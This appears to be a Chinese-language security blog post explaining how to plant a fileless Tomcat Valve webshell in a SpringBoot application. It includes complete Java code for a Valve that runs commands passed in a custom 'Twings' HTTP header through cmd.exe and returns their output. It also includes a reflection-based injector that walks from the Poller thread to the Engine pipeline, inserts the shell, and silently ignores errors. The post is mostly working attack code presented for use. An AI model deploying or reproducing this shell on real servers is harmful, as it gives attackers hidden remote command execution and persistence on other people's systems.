Java Tomcat Valve内存马

前言

新的Tomcat内存马玩法。


环境

环境为SpringBoot。

Valve

Valve存放在所属容器的pipeline中,在Filter执行之前被调用,并通过getNext().invoke()的方式进行链式调用。

下面这张调用栈图就可以清晰地看出来Filter链的调用就是Valve链中的StandardWrapperValve实现的:

一般项目可以通过server.xml在Tomcat中配置自定义Valve,而SpringBoot提供了定制器类来实现添加Valve这个功能:

1
2
3
4
5
6
7
@Component
public class MyCustomize implements WebServerFactoryCustomizer<TomcatServletWebServerFactory> {
@Override
public void customize(TomcatServletWebServerFactory factory) {
factory.addEngineValves(new MyValve());
}
}

给自定义Valve下一个断点,就可以看到线程从接收请求到找到该自定义Valve执行的具体流程:

跟踪一下代码,可以看到获取并执行第一个Valve的代码位于CoyoteAdapter类中:

1
2
connector.getService().getContainer().getPipeline().getFirst().invoke(
request, response);

换句话说就是我们可以从NioEndpoint出发,一步步找到这里的pipeline并添加一个Valve Shell进去。

Valve内存马

调试一下,根据上面的Valve执行函数调用栈,我们可以从NioEndpoint中找到Http11NioProtocol对象:

该对象的adapter属性中就存放了我们要找的CoyoteAdapter对象:

接下来就是按照connector.getService().getContainer().getPipeline().getFirst()的调用顺序,就可以找到我们的自定义的Valve了:

理清了内存马注入思路,接下来就是把自定义Valve删掉,然后写代码注入Valve内存马了,需要注意的一点是由于我们没有添加自定义Valve,此时Engine的pipeline中是空的,其getFirst函数会返回一个缺省状态下的Valve:

1
2
3
4
5
6
7
8
@Override
public Valve getFirst() {
if (first != null) {
return first;
}

return basic;
}

其实就是我们在调用栈中看到的StandardEngineValve,为了保证后续处理流程的顺利进行,我们还需要给Valve Shell设置好它的下一个Valve,这里可以直接使用StandardPipeline类中的addValve函数来添加。

首先写一个简单的Valve Shell:

1
2
3
4
5
6
7
8
9
class ValveShell extends ValveBase {
@Override
public void invoke(org.apache.catalina.connector.Request request, org.apache.catalina.connector.Response response) throws IOException, ServletException {
String[] cmd = new String[]{"cmd.exe", "/c", request.getHeader("Twings")};
byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
response.getWriter().write(new String(result));
next.invoke(request, response);
}
}

然后调用addValve添加进去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
try {
Field f = ThreadGroup.class.getDeclaredField("threads");
f.setAccessible(true);
Thread[] threads = (Thread[])f.get(Thread.currentThread().getThreadGroup());
NioEndpoint nioEndpoint = null;
for (Thread thread: threads) {
if (thread.getName().contains("http") && thread.getName().contains("Poller")) {
f = Thread.class.getDeclaredField("target");
f.setAccessible(true);
Object pollor = f.get(thread);
f = pollor.getClass().getDeclaredField("this$0");
f.setAccessible(true);
nioEndpoint = (NioEndpoint)f.get(pollor);
break;
}
}
if (nioEndpoint == null) {
return;
}
AbstractEndpoint.Handler<?> handler = nioEndpoint.getHandler();
f = handler.getClass().getDeclaredField("proto");
f.setAccessible(true);
Http11NioProtocol http11NioProtocol = (Http11NioProtocol)f.get(handler);
CoyoteAdapter coyoteAdapter = (CoyoteAdapter)http11NioProtocol.getAdapter();
f = coyoteAdapter.getClass().getDeclaredField("connector");
f.setAccessible(true);
Connector connector = (Connector)f.get(coyoteAdapter);
Pipeline pipeline = connector.getService().getContainer().getPipeline();
if (pipeline == null || pipeline.getFirst() instanceof ValveShell) {
return;
}
pipeline.addValve(new ValveShell());
}catch (Exception e) {
// pass
}

成功注入:


参考

Valve内存马

SpringBoot-定制Web容器Tomcat


Java Tomcat Valve内存马
http://yoursite.com/2022/11/22/Java-Tomcat-Valve内存马/
作者
Aluvion
发布于
2022年11月22日
许可协议